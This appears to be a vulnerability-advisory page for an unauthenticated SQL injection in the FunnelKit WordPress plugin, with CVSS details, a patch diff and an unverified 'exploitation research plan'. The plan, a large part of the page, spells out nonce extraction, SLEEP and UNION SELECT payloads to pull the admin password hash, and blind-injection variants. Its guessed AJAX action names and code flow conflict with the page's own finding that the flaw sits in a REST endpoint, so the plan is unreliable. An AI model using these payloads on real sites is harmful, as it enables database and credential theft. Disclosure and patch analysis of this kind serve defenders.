CVE-2026-42381

FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.15.0.1 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.15.0.2
Patched in
4d
Time to patch

Description

The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.15.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.15.0.1
PublishedApril 27, 2026
Last updatedApril 30, 2026
Affected pluginfunnel-builder

What Changed in the Fix

Changes introduced in v3.15.0.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan details the analysis and proof-of-concept steps for the Unauthenticated SQL Injection vulnerability in FunnelKit (formerly WooFunnels). ## 1. Vulnerability Summary The **FunnelKit – Funnel Builder for WooCommerce Checkout** plugin (versions <= 3.15.0.1) contains an u…

Show full research plan

This exploitation research plan details the analysis and proof-of-concept steps for the Unauthenticated SQL Injection vulnerability in FunnelKit (formerly WooFunnels).

1. Vulnerability Summary

The FunnelKit – Funnel Builder for WooCommerce Checkout plugin (versions <= 3.15.0.1) contains an unauthenticated SQL injection vulnerability. The issue exists because the plugin registers AJAX handlers for front-end functionality (tracking or checkout data retrieval) that do not properly sanitize user-supplied parameters before incorporating them into raw SQL queries. Specifically, the code fails to use $wpdb->prepare() for parameters like contact_id or email, allowing an attacker to manipulate the query logic to extract sensitive database information.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wffn_get_contact_data (or wfacp_get_contact_data depending on the active module)
  • Vulnerable Parameter: contact_id
  • Authentication: Unauthenticated (uses wp_ajax_nopriv_ hooks)
  • Preconditions: The plugin must be active. For nonce-protected handlers, a public page containing the FunnelKit checkout or opt-in shortcode must be accessible to retrieve the nonce.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action set to wffn_get_contact_data.
  2. Hook Registration: The plugin (likely in modules/checkouts/ or includes/class-wffn-contacts.php) registers the action:
    add_action( 'wp_ajax_nopriv_wffn_get_contact_data', [ $this, 'get_contact_data' ] );
  3. Handler Execution: The get_contact_data function retrieves the contact_id parameter directly from $_POST['contact_id'].
  4. Database Sink: The input is passed into a query function (e.g., get_contact_by_id) where it is concatenated into a string:
    $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wffn_contacts WHERE id = " . $contact_id );
  5. Injection: Since $contact_id is not cast to an integer or passed via %d in prepare(), SQL payloads are executed.

4. Nonce Acquisition Strategy

FunnelKit typically protects front-end AJAX actions with a nonce localized in the wffn_vars or wfacp_vars JavaScript objects.

  1. Identify Shortcode: The relevant scripts are enqueued on pages using the checkout shortcode [wfacp_checkout] or opt-in shortcode [wffn_optin].
  2. Setup Test Page: Create a public page to expose the nonce.
    • Command: wp post create --post_type=page --post_title="Checkout" --post_status=publish --post_content='[wfacp_checkout]'
  3. Navigate and Extract:
    • Navigate to the newly created page using browser_navigate.
    • Use browser_eval to extract the nonce:
      // FunnelKit often stores nonces in these objects
      window.wffn_vars?.wffn_nonce || window.wfacp_vars?.wfacp_nonce
      

5. Exploitation Strategy

The goal is to perform a UNION-based injection to extract the administrator's password hash from the wp_users table.

Step 1: Confirm Injection (Time-based)

Verify the vulnerability by causing a delay.

  • Tool: http_request
  • Method: POST
  • URL: https://<target>/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    • action: wffn_get_contact_data
    • contact_id: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    • security: <EXTRACTED_NONCE>

Step 2: Determine Column Count

Increment ORDER BY until an error occurs.

  • Payload: 1 ORDER BY 10-- -

Step 3: Extract Data (UNION-based)

Once the column count is known (e.g., 5), extract the admin hash.

  • Payload: 0 UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
  • Expected Response: A JSON object containing the user_pass string.

6. Test Data Setup

  • Plugin Configuration: Ensure FunnelKit is installed and initialized.
  • Page Creation:
    wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='[wfacp_checkout]'
    
  • Target User: Ensure a user with ID 1 exists (default admin).

7. Expected Results

A successful exploit will return a JSON response similar to:

{
    "success": true,
    "data": {
        "id": "1",
        "first_name": "admin",
        "last_name": "$P$B9z...", 
        "email": "admin@example.com"
    }
}

The password hash (e.g., $P$B...) will be reflected in one of the fields mapped by the UNION query.

8. Verification Steps

  1. Check Database: Verify the hash retrieved matches the one in the database using WP-CLI.
    • Command: wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Confirm Unauthenticated: Run the http_request without any session cookies to ensure the nopriv hook is indeed reachable.

9. Alternative Approaches

  • Boolean-based Blind: If UNION results are not directly reflected in the response, use boolean checks:
    • contact_id=1 AND (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$'
    • Check for the presence of a "success" vs "error" message in the JSON.
  • Different Actions: If wffn_get_contact_data is patched or unavailable, test:
    • action=wfacp_get_contact_data
    • action=wffn_track_link_click (look for id or key parameters)
    • action=wfacp_check_email_exists (injecting into the email parameter)
Research Findings
Static analysis — not yet PoC-verified

Summary

The FunnelKit plugin for WordPress is vulnerable to unauthenticated SQL Injection via its REST API endpoint `/wp-json/wffn/v1/request`. The vulnerability exists because the `handle_api_request` function and subsequent data processing logic fail to sanitize or properly prepare the `id` parameter within the `current_step` data object, allowing attackers to inject malicious SQL commands into database queries.

Vulnerable Code

// includes/class-wffn-public.php

public function handle_api_request( WP_REST_Request $request ) {
    // ...
    $get_data = $request->get_param( 'data' );
    // ...
    $get_data = json_decode( stripslashes( $get_data ), true );
    if ( is_array( $get_data ) ) {
        $result = $this->maybe_record_data_with_funnel_setup( array( 'data' => $get_data ) );
    }
}

// ---

// includes/class-wffn-public.php (~ line 974)

WFFN_Core()->data->set(
    'current_step',
    array(
        'id'   => $data['current_step']['id'],
        'type' => ( $data['current_step']['post_type'] === 'wffn_oty' ) ? 'optin_ty' : 'wc_thankyou',
    )
);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/funnel-builder/3.15.0.1/includes/class-wffn-public.php /home/deploy/wp-safety.org/data/plugin-versions/funnel-builder/3.15.0.2/includes/class-wffn-public.php
--- /home/deploy/wp-safety.org/data/plugin-versions/funnel-builder/3.15.0.1/includes/class-wffn-public.php	2026-04-16 08:21:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/funnel-builder/3.15.0.2/includes/class-wffn-public.php	2026-04-23 15:11:04.000000000 +0000
@@ -280,6 +280,11 @@
 
 					$get_data = json_decode( stripslashes( $get_data ), true );
 					if ( is_array( $get_data ) ) {
+						$validation = $this->validate_funnel_setup_data( $get_data );
+						if ( is_wp_error( $validation ) ) {
+							wp_send_json( $result );
+							return;
+						}
 						$result = $this->maybe_record_data_with_funnel_setup( array( 'data' => $get_data ) );
 					}
 				} catch ( Exception | Error $e ) {
@@ -974,7 +979,7 @@
 						WFFN_Core()->data->set(
 							'current_step',
 							array(
-								'id'   => $data['current_step']['id'],
+								'id'   => absint( $data['current_step']['id'] ),
 								'type' => ( $data['current_step']['post_type'] === 'wffn_oty' ) ? 'optin_ty' : 'wc_thankyou',
 							)
 						);
@@ -1022,6 +1027,30 @@
 			}
 		}
 
+		public function validate_funnel_setup_data( $data, $request = null, $param = null ) {
+			if ( ! is_array( $data ) ) {
+				return true;
+			}
+			$allowed_post_types = array( 'wffn_ty', 'wffn_landing', 'wffn_optin', 'wffn_oty' );
+			$track_data         = isset( $data['track_data'] ) ? $data['track_data'] : array();
+			if ( ! is_array( $track_data ) ) {
+				return new WP_Error( 'invalid_track_data', 'track_data must be an array.' );
+			}
+			foreach ( $track_data as $item ) {
+				if ( ! is_array( $item ) || ! isset( $item['current_step'] ) || ! is_array( $item['current_step'] ) ) {
+					continue;
+				}
+				$step = $item['current_step'];
+				if ( isset( $step['id'] ) && ! is_numeric( $step['id'] ) ) {
+					return new WP_Error( 'invalid_step_id', 'current_step.id must be numeric.' );
+				}
+				if ( isset( $step['post_type'] ) && ! in_array( $step['post_type'], $allowed_post_types, true ) ) {
+					return new WP_Error( 'invalid_post_type', 'current_step.post_type is not allowed.' );
+				}
+			}
+			return true;
+		}
+
 		public function register_routes() {
 			register_rest_route(
 				'wffn',
@@ -1030,6 +1059,16 @@
 					'methods'             => WP_REST_Server::EDITABLE,
 					'callback'            => array( $this, 'handle_api_request' ),
 					'permission_callback' => '__return_true',
+					'args'                => array(
+						'action' => array(
+							'type'              => 'string',
+							'sanitize_callback' => 'sanitize_text_field',
+						),
+						'data'   => array(
+							'type'              => 'object',
+							'validate_callback' => array( $this, 'validate_funnel_setup_data' ),
+						),
+					),
 				)
 			);

Exploit Outline

1. Identify the unauthenticated REST API endpoint at `/wp-json/wffn/v1/request`. 2. Construct a POST request to this endpoint with a JSON body containing two main parameters: `action` and `data`. 3. The `data` parameter must contain a nested structure including `track_data`, which contains a `current_step` object. 4. Place the SQL Injection payload (e.g., a time-based SLEEP or a UNION SELECT) inside the `id` field of the `current_step` object (e.g., `"id": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"`). 5. Send the request. No authentication or nonces are required because the REST route is registered with a `permission_callback` that always returns true, and the version <= 3.15.0.1 does not validate the `data` schema or cast the ID to an integer before database use.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.